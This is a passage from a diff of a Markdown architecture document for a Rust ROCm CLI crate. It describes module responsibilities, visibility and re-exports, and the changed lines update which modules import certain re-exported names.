SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. - [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs), [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) and `runtimes_cmd.rs` need, and the on-disk active-runtime marker: `ActiveRuntimeMarker` (user state, so its serde shape is as fixed as the manifest's; its fields are `pub(crate)` because `runtimes_cmd.rs` builds it on activation and rollback), `active_runtime_marker_path` and `active_runtime_marker_matches`, which uninstall uses to decide whether the runtime it removes was the active one. `write_active_runtime_marker` stays in `runtimes_cmd.rs` with the activation transaction. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. - [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): `rocm runtimes uninstall` and the storage pruning that removes a registered runtime. `plan_runtime_uninstall` builds the plan (`RuntimeUninstallPlan`, with the `InstallRootDecision` for its folder), `print_runtime_uninstall_plan` shows it, `confirm_and_revalidate_runtime_uninstall` asks and then checks that nothing changed while the prompt was open (`revalidate_runtime_uninstall_plan`), and `apply_runtime_uninstall` unregisters the runtime, clears the active and default state that named it and removes its install root when `should_remove_runtime_install_root` says ROCm CLI owns it (`local_runtime_manifest_matches`, `ensure_runtime_install_root_is_safe_to_remove`). `uninstall_runtime` is the non-interactive entry point. It reads the registry, the active-runtime marker and the path comparison from [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), and does not depend on `runtimes_cmd.rs`, which calls into it from `runtimes()` and re-exports `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision`. The planning and apply entry points, `RuntimeUninstallPlan`, `RuntimeUninstallConfirmation` and `RuntimeUninstallResult` (with its fields) are `pub(crate)` for `runtimes()`; `revalidate_runtime_uninstall_plan` and the folder-safety helpers are private. Its tests cover planning, revalidation, the folder-removal rules and uninstalling a read-only imported runtime; the uninstall tests that first activate a runtime stay with the activation tests in `runtimes_cmd.rs`. -- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback handlers (the activation transaction, including `write_active_runtime_marker`), plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and the uninstall plan, confirmation and apply in [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` is `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary`; `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision` (from `runtime_uninstall.rs`) and `ActiveRuntimeMarker` and `active_runtime_marker_path` (from `runtime_registry.rs`) are re-exported for [`storage.rs`](../apps/rocm/src/storage.rs) and `main.rs`; `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. +- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback handlers (the activation transaction, including `write_active_runtime_marker`), plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and the uninstall plan, confirmation and apply in [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` is `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary`; `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision` (from `runtime_uninstall.rs`) and `ActiveRuntimeMarker` and `active_runtime_marker_path` (from `runtime_registry.rs`) are re-exported for [`storage.rs`](../apps/rocm/src/storage.rs) and [`config_cmd.rs`](../apps/rocm/src/config_cmd.rs); `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. - [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) — mechanical relocation, owns types (Phase 6a): `serve()`, plus engine-recipe overrides and the AIM pre-flight that runs inside it: the Hugging Face token check, the GPU-family profile check and pin, the multi-GPU refusal (`aim_gpu_preflight`), and AIM-aware default engine selection (`recipe_preferred_engine`). It also holds `collect_serve_notes`, the GPU/device warnings folded into the interactive summary, which was relocated here from `main.rs` with its two tests. - [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs) — full domain extraction. - [`service_hints.rs`](../apps/rocm/src/service_hints.rs) — shared CLI-output component: the `rocm services stop|restart|remove --yes` hint text, shared by [`remote/mod.rs`](../apps/rocm/src/remote/mod.rs), [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs), [`service_launch.rs`](../apps/rocm/src/service_launch.rs), [`service_records.rs`](../apps/rocm/src/service_records.rs), [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs), and [`services_text.rs`](../apps/rocm/src/services_text.rs) so they cannot go out of sync with each other, as `serve_summary.rs`'s stop row did from the day it was added — #417. It also holds the helpers that map a service tool name to the command word, verb and past tense those hints and messages use (`service_action_command`, `service_action_verb`, `service_action_past_tense`) and to its `SandboxToolArg` (`sandbox_tool_arg_from_service_tool`); [`services_text.rs`](../apps/rocm/src/services_text.rs) reads `service_action_past_tense` from here rather than through the crate root. @@ -78,7 +78,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`services_text.rs`](../apps/rocm/src/services_text.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-209): the CLI/TUI logs browser (`render_logs_text`, `render_logs_browser_text`, `render_logs_browser_page_text`, `render_logs_browser_page_text_with_options`, `logs_browser_total_pages`, the `LogBrowserEntry` type, `collect_log_browser_entries`, `filter_log_browser_entries`, `log_browser_source_label`, `write_past_attempts_hint`), the `rocm services`/`rocm services logs` status surfaces (`render_services_text`, `render_services_json`, `render_service_logs_text`, `render_service_logs_text_with_options`, `render_service_action_result`, `read_managed_service_manifest`, `load_managed_service`), the internal `rocmd`-compatible status/sandbox surface (`render_internal_status_text`, `run_internal_sandbox_tool`), and the managed-service stop/restart implementation behind both the sandbox tool and `rocm services stop|restart` (`terminate_recorded_service_pids`, the `MANAGED_STOP_GRACE` constant, `stop_internal_managed_service`, `stop_internal_managed_service_with`, `stop_internal_managed_service_confirmed_with`, `unload_lemonade_service_model`, `apply_restart_runtime_pin`, `load_service_for_restart`, `restart_child_argv`, `restart_internal_managed_service`, `restart_internal_managed_service_with`, `update_restarting_record`, `record_restarted_child`, `record_restart_readiness`), plus `validate_service_id`, `list_log_files`, `read_optional_tail_lines`, and the CLI-lifecycle-log tail formatting helpers (`format_cli_lifecycle_tail_line`, `lifecycle_event_label`, `humanize_log_label`, `lifecycle_field`, `read_tail_lines`). Two items physically interleaved in this span in `main.rs` moved with it rather than staying behind, since neither has a caller outside the cluster: the `LogBrowserEntry` struct and the `MANAGED_STOP_GRACE` constant; both stay private. `dispatch()` calls directly into this module at several points — `render_internal_status_text`, `run_internal_sandbox_tool`, `render_service_logs_text`, `render_logs_browser_text`, and `render_logs_text` — all re-imported via `use crate::services_text::{...};`; [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs)'s `services()` calls `render_services_text`, `render_services_json` and `render_service_logs_text` through its own imports. `render_service_action_result`, `run_internal_sandbox_tool`, and `validate_service_id` are also `pub(crate)` and read from `services_cmd.rs`'s `run_approved_service_action`; `validate_service_id` is also read from [`service_records.rs`](../apps/rocm/src/service_records.rs)'s `remove_managed_service_record`/`service_record_artifacts`, and `load_managed_service` from its `remove_managed_service_record`/`apply_service_prune_plan`. `load_managed_service` and `restart_internal_managed_service` are `pub(crate)`, read from [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) (reconciling live servers against a runtime activation) and from [`managed_service_status.rs`](../apps/rocm/src/managed_service_status.rs)'s own test module; `read_tail_lines`, `render_logs_text`, `render_logs_browser_text`, `render_services_text`, `render_service_logs_text`, and `validate_service_id` are also `pub(crate)`, read from [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool-output summaries; `read_optional_tail_lines` and `render_service_action_result` are also `pub(crate)`, read from [`service_launch.rs`](../apps/rocm/src/service_launch.rs)'s managed-spawn/attach path. Every other item in this list has no caller outside this module and stays private, including `restart_internal_managed_service_with`, `restart_child_argv`, `load_service_for_restart`, `apply_restart_runtime_pin`, and `unload_lemonade_service_model` — see [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs)'s and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs)'s entries above for how those two modules' own doc comments now describe this module, rather than `main.rs`, as that caller. The cluster's regression tests live in this module's own `mod tests`, reaching shared fixtures (`test_paths`, `plant_service_record_on_runtime`, `OLD_RUNTIME_KEY`, `NEW_RUNTIME_KEY`) through `crate::tests::` the same way other mechanically relocated modules do, and `runtime_services::` through its own `use crate::runtime_services;` for the handful of tests that drive this cluster's restart/stop behavior through `runtime_services`'s public entry points rather than calling it directly. Two tests that call this cluster's `load_managed_service` only incidentally — their primary subject is `runtime_services::pin_service_record_to_runtime`/`restore_service_record_pin` and `runtime_services::restart_service_onto_runtime_with`'s outcome classification respectively — stay in `main.rs`'s shared `mod tests` instead. - [`setup_cmd.rs`](../apps/rocm/src/setup_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm setup`'s command handler (`setup()`, which runs `setup status` by default and `setup reset`), the text `rocm setup status` prints (`render_setup_status_text`) and the reset that clears the saved first-time prompt state (`reset_setup_prompt_state`). `SetupCommand` stays in [`main.rs`](../apps/rocm/src/main.rs). `setup()` and `render_setup_status_text` are `pub(crate)` and re-imported in `main.rs`: `dispatch()` calls the first, and [`chat.rs`](../apps/rocm/src/chat.rs)'s read-only handling of `rocm setup` and `rocm setup status` reaches the second as `crate::render_setup_status_text`; `reset_setup_prompt_state` is private. The three regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` and `write_test_pip_runtime` through `crate::test_support::`. - [`storage.rs`](../apps/rocm/src/storage.rs) — full domain extraction. -- [`system_packages.rs`](../apps/rocm/src/system_packages.rs) — full domain extraction, a leaf of the crate (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): the host system-package installs that `rocm install sdk` and `rocm engines install vllm` run through `sudo` apt, dnf or zypper. It owns the distro-aware OpenMPI, libatomic and libnuma flows (`ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`), the choice between printing the commands and running them (`SystemPackageInstallAction`, `system_package_install_action`), the guard that refuses an `apt-get install` which would remove ROCm packages, and `real_os_release`, the real host's os-release that every one of these plans is built from. Production code uses only `std`, `anyhow` and `rocm_core`; the three `ensure_*` functions and `real_os_release` are `pub(crate)` and the rest is private. `runtime_install_finalize.rs` re-exports the three `ensure_*` names for `main.rs` and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), and [`driver_install.rs`](../apps/rocm/src/driver_install.rs) imports `real_os_release` from here directly. `SdkInstallConsents` stays in `runtime_install_finalize.rs` (it carries a `therock::SdkInstallConsent`); the functions here take its plain `system_packages` bool. `torch_runtime_dep_checks_disabled` is the E2E hook that skips the torch dependency checks; it only does anything under `e2e-test-hooks`. Its tests cover the consent decision (reaching `consents_for_install_sdk_argv` in `runtime_install_finalize.rs`'s test module) and, under `e2e-test-hooks` on Linux, that `real_os_release` ignores a simulated host root. +- [`system_packages.rs`](../apps/rocm/src/system_packages.rs) — full domain extraction, a leaf of the crate (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): the host system-package installs that `rocm install sdk` and `rocm engines install vllm` run through `sudo` apt, dnf or zypper. It owns the distro-aware OpenMPI, libatomic and libnuma flows (`ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`), the choice between printing the commands and running them (`SystemPackageInstallAction`, `system_package_install_action`), the guard that refuses an `apt-get install` which would remove ROCm packages, and `real_os_release`, the real host's os-release that every one of these plans is built from. Production code uses only `std`, `anyhow` and `rocm_core`; the three `ensure_*` functions and `real_os_release` are `pub(crate)` and the rest is private. `runtime_install_finalize.rs` re-exports the three `ensure_*` names for [`install_cmd.rs`](../apps/rocm/src/install_cmd.rs) and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), and [`driver_install.rs`](../apps/rocm/src/driver_install.rs) imports `real_os_release` from here directly. `SdkInstallConsents` stays in `runtime_install_finalize.rs` (it carries a `therock::SdkInstallConsent`); the functions here take its plain `system_packages` bool. `torch_runtime_dep_checks_disabled` is the E2E hook that skips the torch dependency checks; it only does anything under `e2e-test-hooks`. Its tests cover the consent decision (reaching `consents_for_install_sdk_argv` in `runtime_install_finalize.rs`'s test module) and, under `e2e-test-hooks` on Linux, that `real_os_release` ignores a simulated host root. - [`therock.rs`](../apps/rocm/src/therock.rs) — full domain extraction; owns TheRock SDK install/update. The runtime-manifest model and registry loaders it writes through live in [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs); `therock.rs` re-exports the names other modules reach as `therock::...`: `InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `load_runtime_manifests` and `validate_rocm_sdk_runtime_probe` from `runtime_registry.rs` (plus `RocmSdkLibraryProbe`, for tests only), and from its child modules the `pub(crate)` names each child's entry below lists. Three helpers stay in `therock.rs` for good, with the install orchestration and the other keys and roots helpers, and its children read them from there: `slugify` ([`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs)), `venv_python_path` ([`therock/python.rs`](../apps/rocm/src/therock/python.rs)) and `platform_tarball_token` ([`therock/resolve/tarball.rs`](../apps/rocm/src/therock/resolve/tarball.rs)). The `runtimes` subcommand's command enum (`RuntimesCommand`) stays in [`main.rs`](../apps/rocm/src/main.rs); its dispatch fn and most of its domain logic — rendering, activation, and manifest import — live in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs). - [`therock/version.rs`](../apps/rocm/src/therock/version.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): the version grammar behind runtime selection and update checks. `parse_version` is the strict gate an install is routed on; `parse_version_for_ordering`, `compare_version_strings` and `version_relation` implement the PEP 440 ordering and the "is this a different version" question; `parse_host_version` reads a host-reported ROCm version through the same parser; `runtime_version_display`, `runtime_version_build_date`, `normalize_requested_build_date` and the calendar helpers behind them handle build dates; `is_stable_runtime_version` and the `ParsedVersion`/`VersionOrderKey`/`VersionStage` types back them. The items `therock.rs` and its property-test module use are `pub(super)` (including the `ParsedVersion` and `VersionOrderKey` fields they read); the parsing and calendar helpers behind them are private; and `runtime_version_display` is `pub(crate)`, re-exported by `therock.rs` for the other modules that render versions. Depends on nothing else in `therock`. `therock_version_proptests.rs` stays declared from `therock.rs` because it also reaches update, wheel and registry code. - [`therock/io.rs`](../apps/rocm/src/therock/io.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): unique scratch directories (`linux_temp_dir`, `windows_temp_dir`) and the stage-then-publish atomic file writes (`write_file_atomically`, `stage_file_for_atomic_publish`, `temp_sibling_path`, and the platform `publish_temp_file`/`replace_file_windows` pair) for the metadata cache entries and the staged metadata public key, the startup update-check record and the active-runtime marker; runtime registry manifests do not go through them. `write_file_atomically` is `pub(crate)` and re-exported by `therock.rs` for [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs), which writes the active-runtime marker with it; the rest is `pub(super)` or private. The `cfg(windows)` publish and replace paths compile only on the Windows lane.